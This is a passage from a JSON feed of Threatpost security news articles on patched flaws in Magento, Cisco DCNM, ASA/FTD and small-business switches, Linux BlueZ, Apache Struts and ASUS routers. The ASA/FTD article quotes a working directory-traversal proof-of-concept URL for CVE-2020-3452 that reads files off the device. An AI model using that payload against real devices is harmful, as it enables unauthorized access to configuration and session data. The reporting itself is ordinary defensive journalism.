{}, "published": "2020-06-02T16:16:31", "type": "threatpost", "title": "Severe Cisco DoS Flaw Can Cripple Nexus Switches", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-10136", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-06-02T16:16:31", "id": "THREATPOST:B664DFB1B57D66837AE025D5CD687F70", "href": "https://threatpost.com/cisco-dos-flaw-nexus-switches/156203/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2020-10-15T22:29:14", "description": "The popular e-commerce platform Magento is urging web administrators to install its latest security update in order to defend against malicious attacks in the wild that could exploit a critical remote code-execution vulnerability.\n\nWhile the company didn\u2019t specify what kinds of potential attacks that websites should be concerned about (Threatpost reached out for comment on this), Magento is a common target for the [Magecart association of threat groups](<https://threatpost.com/magecart-groups-attack-simultaneous-sites-in-card-theft-frenzy/149872/>), which compromise websites built on unpatched e-commerce platforms in order to inject card-skimming scripts on checkout pages. The scripts steal unsuspecting customers\u2019 payment card details and other information entered into the fields on the page.\n\nThe vulnerability ([CVE-2019-8144](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8144>)), which carries a severity ranking of 10 out of 10 on the CVSS v.3 scale, could enable an unauthenticated user to insert a malicious payload into a merchant\u2019s site through Page Builder template methods, and execute it. Page Builder allows websites to design content updates, preview them live and schedule them to be published. The bug specifically exists in the preview function.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw affects Magento 2.3, and was patched in in Magento Commerce 2.3.3 and with the security-only patch 2.3.2-p2, [released in October](<https://magento.com/security/patches/magento-2.3.3-and-2.2.10-security-update>). The company warned that patching will have the side effect of \u201cblocking administrators from viewing previews for products, blocks and dynamic blocks\u2019; but, it said it will re-enable the preview functionality as soon as possible.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/06165034/Breach-Webinar-Promo.png)](<https://register.gotowebinar.com/register/3127445778613605890?source=ART>)\n\n\u201cWe recommend that all merchants, even those who have already upgraded to 2.3.3 or applied security-only patch 2.3.2-p2, review the security of their Magento site to confirm that it was not potentially compromised before upgrade,\u201d Piotr Kaminski of the Magento security team wrote [in a posting](<https://magento.com/security/patches/latest-magento-security-update-helps-protect-recently-reported-rce-vulnerability>) on Monday. \u201cApplying this hot fix or upgrading\u2026will help defend your store against potential attacks going forward, but will not address the effects of an earlier attack.\u201d\n\nThe same update patches several other critical emote-execution flaws with a CVSS v.3 score of 9 and above, as well as cross-site scripting (CSS) issues.\n\nThe warning comes as Magecart activity and infrastructure continues to saturate the web. According to [analysis from RiskIQ](<https://threatpost.com/magecart-infestations-saturate-web/148911/>) last month, there are now 573 known command-and-control (C2) domains for the group, with close to 10,000 hosts actively loading those domains. In all, RiskIQ has detected almost 2 million (2,086,529) instances of Magecart\u2019s javaScript binaries, with over 18,000 e-commerce hosts directly breached.\n\n\u201cIt is unfortunate that this kind of attack is still succeeding even though a mitigation is quite straightforward,\u201d said Mounir Hahad, head of Juniper Threat Labs at Juniper Networks, via email. \u201cAs a last resort, website owners should periodically check the integrity of their script code, which can be as simple as calculating a checksum every few minutes to look for an unexpected change.\u201d\n\n**_What are the top risks to modern enterprises in the peak era of data breaches? Find out: Join breach expert Chip Witt from SpyCloud and Threatpost senior editor Tara Seals, in our upcoming free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_, \u201cTrends in Fortune 1000 Breach Exposure.\u201d _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-11-12T18:13:18", "type": "threatpost", "title": "Magento Warns E-Commerce Sites to Upgrade ASAP to Prevent Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8144", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2019-11-12T18:13:18", "id": "THREATPOST:CA33E204EC4B2286ECCDD9C58B908175", "href": "https://threatpost.com/magento-warns-upgrade-asap/150115/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:26:49", "description": "Cisco Systems has issued patches for three critical vulnerabilities impacting a key tool for managing its network platform and switches. The bugs could allow an unauthenticated, remote attacker to bypass endpoint authentication and execute arbitrary actions with administrative privileges on targeted devices, the vendor said.\n\nthe networking giant disclosed the critical flaws on Thursday; all three (CVE-2019-15975, CVE-2019-15976, CVE-2019-15977) impact the Cisco Data Center Network Manager (DCNM), a platform for managing its data centers running Cisco\u2019s NX-OS. NX-OS is the network operating system used by Cisco\u2019s Nexus-series Ethernet switches and MDS-series Fibre Channel storage area network switches.\n\nAffected products include Cisco DCNM software releases earlier than Release 11.3 for Microsoft Windows, Linux and virtual appliance platforms. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAccording to the [Tenable researchers that analyzed the bugs](<https://www.tenable.com/blog/cve-2019-15975-cve-2019-15976-cve-2019-15977-critical-authentication-bypass-vulnerabilities-in>), two of the flaws ([CVE-2019-15975](<https://www.tenable.com/cve/CVE-2019-15975>) and [CVE-2019-15976](<https://www.tenable.com/cve/CVE-2019-15976>)), \u201care authentication bypass vulnerabilities in the REST API and SOAP API endpoints for Cisco DCNM due to the existence of a static encryption key shared between installations.\u201d\n\nRepresentational State Transfer (REST) is an architecture style for designing networked applications, [according to RestFulApi.net](<https://restfulapi.net/>). Simple Object Access Protocol (SOAP) is a standard communication protocol system that permits processes using different operating systems such as Linux and Windows to communicate via HTTP and its XML, according to a [DZone description](<https://dzone.com/articles/difference-between-rest-and-soap-api>).\n\n\u201cA remote, unauthenticated attacker could gain administrative privileges through either the REST API or SOAP API by sending a specially crafted request that includes a valid session token generated using the static encryption key,\u201d wrote Satnam Narang, senior research engineer with [Tenable, in a blog post outlining the discovery](<https://www.tenable.com/blog/cve-2019-15975-cve-2019-15976-cve-2019-15977-critical-authentication-bypass-vulnerabilities-in>).\n\nCisco [wrote in its security advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200102-dcnm-auth-bypass>) that vulnerabilities can be exploited independently of the other.\n\nThe third bug ([CVE-2019-15976](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15976>)) is described by Cisco as \u201cdata center network manager authentication bypass vulnerability.\u201d This flaw exists in the web-based management interface of the DCNM, allowing an unauthenticated, remote attacker to bypass authentication on an affected device.\n\n\u201cThe vulnerability is due to the presence of static credentials. An attacker could exploit this vulnerability by using the static credentials to authenticate against the user interface,\u201d Cisco wrote. \u201cA successful exploit could allow the attacker to access a specific section of the web interface and obtain certain confidential information from an affected device. This information could be used to conduct further attacks against the system.\u201d\n\nEach of the three bugs received a Common Vulnerability Scoring System Score of 9.8 severity. Cisco has [released software updates](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200102-dcnm-auth-bypass>) patching the vulnerabilities. The company added there are no workarounds to fix the problems.\n\nIn addition to the three critical bugs, Cisco patched nine additional flaws of lesser severity, also tied to its DCNM component.\n", "cvss3": {}, "published": "2020-01-03T18:33:29", "type": "threatpost", "title": "3 Critical Bugs Allow Remote Attacks on Cisco NX-OS and Switches", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-15975", "CVE-2019-15976", "CVE-2019-15977", "CVE-2020-5135"], "modified": "2020-01-03T18:33:29", "id": "THREATPOST:C4650E22534F775312B3885DAA306DDA", "href": "https://threatpost.com/cisco-patches-3-critical-bugs-nx-os/151529/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:16:17", "description": "A high-severity vulnerability in Cisco\u2019s network security software could lay bare sensitive data \u2013 such as WebVPN configurations and web cookies \u2013 to remote, unauthenticated attackers.\n\nThe flaw exists in the web services interface of Cisco\u2019s Firepower Threat Defense (FTD) software, which is part of its suite of network security and traffic management products; and its Adaptive Security Appliance (ASA) software, the operating system for its family of ASA corporate network security devices.\n\n\u201cAn attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device,\u201d according to a [Wednesday advisory from Cisco](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86>). \u201cA successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability ([CVE-2020-3452](<https://nvd.nist.gov/vuln/detail/CVE-2020-3452>)), which ranks 7.5 out of 10 on the CVSS scale, is due to a lack of proper input validation of URLs in HTTP requests processed by affected devices. Specifically, the vulnerability allows attackers to conduct directory traversal attacks, which is an HTTP attack enabling bad actors to access restricted directories and execute commands outside of the web server\u2019s root directory.\n\n\u201cThis vulnerability\u2026 is highly dangerous,\u201d said Mikhail Klyuchnikov of Positive Technologies, who was credited with independently reporting the flaw (along with Ahmed Aboul-Ela of RedForce), in a statement provided to Threatpost. \u201cThe cause is a failure to sufficiently verify inputs. An attacker can send a specially crafted HTTP request to gain access to the file system (RamFS), which stores data in RAM.\u201d\n\nA potential attacker can view files within the web services file system only. The web services file system is enabled for specific WebVPN and AnyConnect features (outlined in Cisco\u2019s advisory). The web services files that the attacker can view may have information such as WebVPN configuration, bookmarks, web cookies, partial web content and HTTP URLs.\n\nCisco said the vulnerability affects products if they are running a vulnerable release of Cisco ASA Software or Cisco FTD Software, with a vulnerable AnyConnect or WebVPN configuration: \u201cThe web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features,\u201d according to its advisory. However, \u201cthis vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\u201d\n\nTo eliminate the vulnerability, Klyuchnikov urged Cisco users to update Cisco ASA to the most recent version. Cisco said it\u2019s not aware of any malicious exploits for the vulnerability \u2013 however, it is aware of proof-of-concept (POC) exploit code [released Wednesday](<https://twitter.com/aboul3la>) by security researcher Ahmed Aboul-Ela.\n\n> Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.\n> \n> For example to read \"/+CSCOE+/portal_inc.lua\" file.\n> \n> https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n> \n> Happy Hacking! [pic.twitter.com/aBA3R7akkC](<https://t.co/aBA3R7akkC>)\n> \n> \u2014 Ahmed Aboul-Ela (@aboul3la) [July 22, 2020](<https://twitter.com/aboul3la/status/1286012324722155525?ref_src=twsrc%5Etfw>)\n\nEarlier in May, Cisco stomped out [12 high-severity vulnerabilities](<https://threatpost.com/cisco-fixes-high-severity-flaws-in-firepower-security-software-asa/155568/>) across its ASA and FTD network security products. The flaws could be exploited by unauthenticated remote attackers to launch an array of attacks \u2013 from denial of service (DoS) to sniffing out sensitive data.\n", "cvss3": {}, "published": "2020-07-23T19:49:49", "type": "threatpost", "title": "Cisco Network Security Flaw Leaks Sensitive Data", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3452", "CVE-2020-5135"], "modified": "2020-07-23T19:49:49", "id": "THREATPOST:C51D2F2366676BB018956D93916AC33E", "href": "https://threatpost.com/network-security-cisco-flaw-leaks-sensitive-data/157691/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2020-10-14T20:34:03", "description": "Google and Intel are warning of a high-severity flaw in BlueZ, the Linux Bluetooth protocol stack that provides support for core Bluetooth layers and protocols to Linux-based internet of things (IoT) devices.\n\n[![Threatpost Webinar Promo Retail Security](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/07103433/webinar-promo-retail-security-1.jpg)](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\nAccording to Google, the vulnerability affects users of Linux kernel versions before 5.9 that support BlueZ. BlueZ, which is an open-source project distributed under GNU General Public License (GPL), features [the BlueZ kernel](<http://www.bluez.org/about/>) that has been part of the official Linux kernel since version 2.4.6.\n\nThe flaw, which Google calls \u201cBleedingTooth,\u201d can be exploited in a \u201czero-click\u201d attack via specially crafted input, by a local, unauthenticated attacker. This could potentially allow for escalated privileges on affected devices.\n\n\u201cA remote attacker in short distance knowing the victim\u2019s bd [Bluetooth] address can send a malicious l2cap [Logical Link Control and Adaptation Layer Protocol] packet and cause denial of service or possibly arbitrary code execution with kernel privileges,\u201d according to a Google post [on Github](<https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq>). \u201cMalicious Bluetooth chips can trigger the vulnerability as well.\u201d\n\nThe flaw ([CVE-2020-12351](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12351>)) ranks 8.3 out of 10 on the CVSS scale, making it high-severity. It specifically stems from a heap-based type confusion in net/bluetooth/l2cap_core.c. A type-confusion vulnerability is a specific bug that can lead to out-of-bounds memory access and can lead to code execution or component crashes that an attacker can exploit. In this case, the issue is that there is insufficient validation of user-supplied input within the BlueZ implementation in Linux kernel.\n\nIntel, meanwhile, which has placed \u201csignificant investment\u201d in BlueZ,[ addressed the security issue](<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00435.html>) in a Tuesday advisory, recommending that users update the Linux kernel to version 5.9 or later.\n\n\u201cPotential security vulnerabilities in BlueZ may allow escalation of privilege or information disclosure,\u201d according to the security advisory. \u201cBlueZ is releasing Linux kernel fixes to address these potential vulnerabilities.\u201d\n\nGoogle has also published proof-of-concept exploit code for the flaw on GitHub. See a video demo of BleedingTooth below:\n\nIntel also issued a fix for two medium-severity flaws that affect BlueZ, both of which stem from improper access control. That includes [CVE-2020-12352,](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12352>) which could enable an unauthenticated user to potentially enable information disclosure via adjacent access.\n\n\u201cA remote attacker in short distance knowing the victim\u2019s bd address can retrieve kernel-stack information containing various pointers that can be used to predict the memory layout and to defeat KASLR,\u201d according to [a description on GitHub](<https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq>). \u201cThe leak may contain other valuable information such as the encryption keys.\u201d\n\nAnother flaw ([CVE-2020-24490](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24490>)) could allow an unauthenticated user to potentially enable denial of service via adjacent access. The flaw can be exploited by a remote attacker in short distance, who can broadcast extended advertising data and cause a denial-of-service state, or possibly arbitrary code execution with kernel privileges on victim machines (if they are equipped with Bluetooth 5 chips and are in scanning mode), according to Google.\n\nAndy Nguyen, security engineer with Google, was credited with discovering the flaw. Further details will soon be available on [Google\u2019s security blog](<https://security.googleblog.com>).\n\n** [On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar.**\n", "cvss3": {}, "published": "2020-10-14T13:37:13", "type": "threatpost", "title": "Google, Intel Warn on 'Zero-Click' Kernel Bug in Linux-Based IoT Devices", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-12351", "CVE-2020-12352", "CVE-2020-24490", "CVE-2020-5135"], "modified": "2020-10-14T13:37:13", "id": "THREATPOST:CF4E8B0929D149A75E7512A74E569009", "href": "https://threatpost.com/google-intel-kernel-bug-linux-iot/160067/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:14", "description": "Proof-of-concept exploit code surfaced on GitHub on Friday, raising the stakes on two existing Apache Struts 2 bugs that allow for remote code-execution and denial-of-service attacks on vulnerable installations.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) issued an alert regarding the two bugs, tracked as [CVE-2019-0230](<https://cwiki.apache.org/confluence/display/WW/S2-059>) and [CVE-2019-0233](<https://cwiki.apache.org/confluence/display/WW/S2-060>). Impacted are Apache Struts versions 2.0.0 through 2.5.20. Remediation includes upgrading to Struts 2.5.22, according to the Apache Struts Security Team.\n\nStruts 2 is an open-source coding framework and library for enterprise developers popular with developers and companies when creating Java-based applications. Both the exploitable vulnerabilities in question were fixed last November. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) \nResearchers have warned of outdated installations of Apache Struts 2 and that [if left unpatched](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>) they can open the door to more critical holes similar to a bug at the root of the [massive Equifax breach](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>), which was also an Apache Struts 2 flaw ([CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>)).\n\n## **PoC Released to GitHub**\n\nThe proof-of-concept (PoC) [released this week ](<https://github.com/cellanu/cve-2019-0230>)raises the greatest concern with CVE-2019-0230, originally rated important when first uncovered by Matthias Kaiser at Apple Information Security. The bug is triggered when a threat actor sends a malicious Object-Graph Navigation Language (OGNL) expressions that can then open the door for a remote code-execution attack, according to the security bulletin. OGNL is a Java language that can let attackers access data objects, and then use them to create and inject server-side code.\n\n\u201cSuccessful exploitation of the most severe of these vulnerabilities (CVE-2019-0230) could allow for remote code-execution in the context of the affected application. Depending on the privileges associated with the application, an attacker could install programs; view, change or delete data; or create new accounts with full user rights,\u201d according to a bulletin issued Friday by the Multi-State Information Sharing & Analysis Center at the Center for Internet Security.\n\nWhile the PoC attack and exploit posted to GitHub targets CVE-2019-0230, the Apache Struts Security Team also urged users to patch for the DoS bug (CVE-2019-0233). The vulnerability affects the write permissions of file directories that could lead to conditions ripe for a DoS attack.\n\nAccording to the Apache Struts 2 Wiki description of the bug, this flaw can be triggered with a file upload to a Strut\u2019s Action that exposes the file.\n\n\u201cAn attacker may manipulate the request such that the working copy of the uploaded file is set to read-only. As a result, subsequent actions on the file will fail with an error. It might also be possible to set the Servlet container\u2019s temp directory to read only, such that subsequent upload actions will fail,\u201d [according the description](<https://cwiki.apache.org/confluence/display/WW/S2-060>).\n\nThe Apache security bulletin recommends upgrading to the most recent version of Apache Struts. It also suggests security teams verify no unauthorized system modifications have occurred on the system before applying the patch, and they run all software as a non-privileged user (one without administrative privileges) to diminish the effects of a successful attack.\n\n**_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary [Threatpost eBook](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>), 2020 in Security: Four Stories from the New Threat Landscape, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. [Click here to download our eBook now](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)._**\n", "cvss3": {}, "published": "2020-08-14T21:20:01", "type": "threatpost", "title": "PoC Exploit Targeting Apache Struts Surfaces on GitHub", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2019-0230", "CVE-2019-0233", "CVE-2020-5135"], "modified": "2020-08-14T21:20:01", "id": "THREATPOST:0DD2AEA1738F9B6612B1C845F3BC949F", "href": "https://threatpost.com/poc-exploit-github-apache-struts/158393/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:16:19", "description": "A pair of flaws in ASUS routers for the home could allow an attacker to compromise the devices \u2013 and eavesdrop on all of the traffic and data that flows through them.\n\nThe bugs are specifically found in the RT-AC1900P whole-home Wi-Fi model, within the router\u2019s firmware update functionality. Originally uncovered by Trustwave, ASUS has issued patches for the bugs, and owners are urged to apply the updates as soon as they can.\n\nThe first issue (CVE-2020-15498) stems from a lack of certificate checking.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe router uses [GNU Wget](<https://www.gnu.org/software/wget/>) to fetch firmware updates from ASUS servers. It\u2019s possible to log in via SSH and use the Linux/Unix [\u201cgrep\u201d command](<https://www.geeksforgeeks.org/grep-command-in-unixlinux/>) to search through the filesystem for a specific string that indicates that the vulnerability is present: \u201c\u2013no-check-certificate.\u201d\n\nIn vulnerable versions of the router, the files containing that string are shell scripts that perform downloads from the ASUS update servers, according to [Trustwave\u2019s advisory](<https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=27440>), issued on Thursday. This string indicates that there\u2019s no certificate checking, so an attacker could use untrusted (forged) certificates to force the install of malicious files on the targeted device.\n\nAn attacker would need to be connected to the vulnerable router to perform a man in the middle attack (MITM), which would allow that person complete access to all traffic going through the device.\n\nThe latest firmware eliminates the bug by not using the Wget option anymore.\n\nThe second bug (CVE-2020-15499) is a cross-site scripting (XSS) vulnerability in the Web Management interface related to firmware updates, according to Trustwave.\n\n\u201cThe release notes page did not properly escape the contents of the page before rendering it to the user,\u201d explained the firm. \u201cThis means that a legitimate administrator could be attacked by a malicious party using the first MITM finding and chaining it with arbitrary JavaScript code execution.\u201d\n\nASUS fixed this in the latest firmware so that the release notes page no longer renders arbitrary contents verbatim.\n\n\u201cSince routers like this one typically define the full perimeter of a network, attacks targeting them can potentially affect all traffic in and out of your network,\u201d warned Trustwave.\n\nASUS patched the issues in firmware version 3.0.0.4.385_20253.\n\nThe bug disclosure comes less than two weeks after a [bombshell security review](<https://threatpost.com/report-most-popular-home-routers-have-critical-flaws/157346/>) of 127 popular home routers found most contained at least one critical security flaw, according to researchers. Not only did all of the routers the researchers examined have flaws, many \u201care affected by hundreds of known vulnerabilities,\u201d the researchers said.\n\nOn average, the routers analyzed\u2013\u2014by vendors such as D-Link, Netgear, ASUS, Linksys, TP-Link and Zyxel\u2014were affected by 53 critical-rated vulnerabilities (CVE), with even the most \u201csecure\u201d device of the bunch having 21 CVEs, according to the report. Researchers did not list the specific vulnerabilities.\n", "cvss3": {}, "published": "2020-07-23T16:04:30", "type": "threatpost", "title": "ASUS Home Router Bugs Open Consumers to Snooping Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-15498", "CVE-2020-15499", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-07-23T16:04:30", "id": "THREATPOST:9234A5FE45618A7D601CF00D4A75748E", "href": "https://threatpost.com/asus-home-router-bugs-snooping-attacks/157682/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2020-10-14T22:21:37", "description": "Cisco is warning of a high-severity flaw that could allow remote, unauthenticated attackers to cripple several of its popular small-business switches with denial of service (DoS) attacks.\n\nThe vulnerability stems from the IPv6 packet processing engine in the switches. IPv6 (also known as Internet Protocol version 6) is the most recent version of the Internet Protocol (IP), the communications protocol that provides an identification system for computers on networks and routes traffic across the Internet.\n\nThe flaw (CVE-2020-3363), which has a CVSS score of 8.6 out of 10, is due to insufficient validation of incoming IPv6 traffic.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAn attacker could exploit this vulnerability by sending a crafted IPv6 packet through an affected device,\u201d said [Cisco in its Wednesday advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbss-ipv6-dos-3bLk6vA>). \u201cA successful exploit could allow the attacker to cause an unexpected reboot of the switch, leading to a DoS condition.\u201d\n\nCisco switches affected by this flaw include: 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches, 550X Series Stackable Managed Switches. These switch lineups range in functionality and price, but all were released between 2015 and 2016, and all are web-managed, entry-level devices intended for small businesses. Updates are available for these products in Release 2.5.5.4.7.\n\nAlso affected by the flaw are three series of switches that have reached the end-of-software-maintenance milestone, meaning they will not receive patches. Those are: Small Business 200 Series Smart Switches, Small Business 300 Series Managed Switches and Small Business 500 Series Stackable Managed Switches. It\u2019s not the first time that end of life (EoL) has stopped Cisco from issuing patches for these specific switches when they were vulnerable. In July, Cisco warned that [it wasn\u2019t issuing firmware updates](<https://threatpost.com/cisco-warns-high-severity-bug-small-business-switch/157090/>) in the three switches to address a high-severity flaw that could allow remote, unauthenticated attackers to access the switches\u2019 management interfaces with administrative privileges.\n\nThe Cisco Product Security Incident Response Team (PSIRT) said it is not aware of any public announcements or malicious use of the vulnerability. This flaw specifically affects IPv6 traffic \u2013 IPv4 traffic (the IP that IPv6 replaced) is not affected, said Cisco.\n\n\u201cCisco has released software updates that address this vulnerability for devices that have not reached the end of software maintenance,\u201d Cisco said. \u201cThere are no workarounds that address this vulnerability.\u201d\n\nBeyond this flaw, Cisco fixed three other high-severity vulnerabilities, with a slew of Thursday security advisories.\n\nOne of those is a [similar vulnerability](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asr-dos-zJLJFgBf>) in the IPv6 implementation of Cisco StarOS. Cisco StarOS is a virtualized software architecture that spans the ASR (Aggregation Services Routers) 5000 Series. This flaw (CVE-2020-3324) also stems from insufficient validation of incoming IPv6 traffic and could enable an unauthenticated, remote attacker to launch a DoS attack on affected devices.\n\nAnother high-severity flaw (CVE-2020-3411) in [Cisco\u2019s DNA Center software](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dna-info-disc-3bz8BCgR>) could allow an unauthenticated remote attacker access to sensitive information on impacted systems. The Cisco DNA Center is a network controller and management dashboard, with integrated tools for network management, automation, virtualization, analytics, security and internet of things (IoT) connectivity.\n\nA final flaw (CVE-2020-3433) [plugged by Cisco on Wednesday](<https://threatpost.com/black-hat-2020-using-botnets-to-manipulate-energy-markets-for-big-profits/158102/>) exists in the AnyConnect Secure Mobility Client for Windows, Cisco\u2019s unified security endpoint agent that delivers security services to protect the enterprise. The flaw exists in the interprocess communication (IPC) channel and could allow an authenticated, local attacker to perform an attack called DLL hijacking, where attackers exploit Windows applications search and load Dynamic Link Libraries.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-06T15:24:45", "type": "threatpost", "title": "High-Severity Cisco DoS Flaw Plagues Small-Business Switches", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-3324", "CVE-2020-3363", "CVE-2020-3411", "CVE-2020-3433", "CVE-2020-5135"], "modified": "2020-08-06T15:24:45", "id": "THREATPOST:51EF909F29E9FE8B04A35A1E24E52C08", "href": "https://threatpost.com/high-severity-cisco-dos-flaw-small-business-switches/158124/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:26:03", "description": "Proof-of-concept exploit code has been published for critical flaws impacting the Cisco Data Center Network Manager (DCNM) tool for managing network platforms and switches.\n\nThe three critical vulnerabilities in question (CVE-2019-15975, CVE-2019-15976, CVE-2019-15977) impact DCNM, a platform for managing Cisco data centers that run Cisco\u2019s NX-OS \u2014 the network operating system used by Cisco\u2019s Nexus-series Ethernet switches and MDS-series Fibre Channel storage area network switches.\n\nThe flaws, patched on[ Jan. 3](<https://threatpost.com/cisco-patches-3-critical-bugs-nx-os/151529/>), could allow an unauthenticated, remote attacker to bypass endpoint authentication and execute arbitrary actions with administrative privileges on targeted devices.\n\nFast forward to this week, the security researcher who initially discovered the flaws, Steven Seeley, released public PoC exploits for the flaws.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cIn this post, I share three (3) full exploitation chains and multiple primitives that can be used to compromise different installations and setups of the Cisco DCNM product to achieve unauthenticated remote code execution as SYSTEM/root,\u201d he explained in a [blog 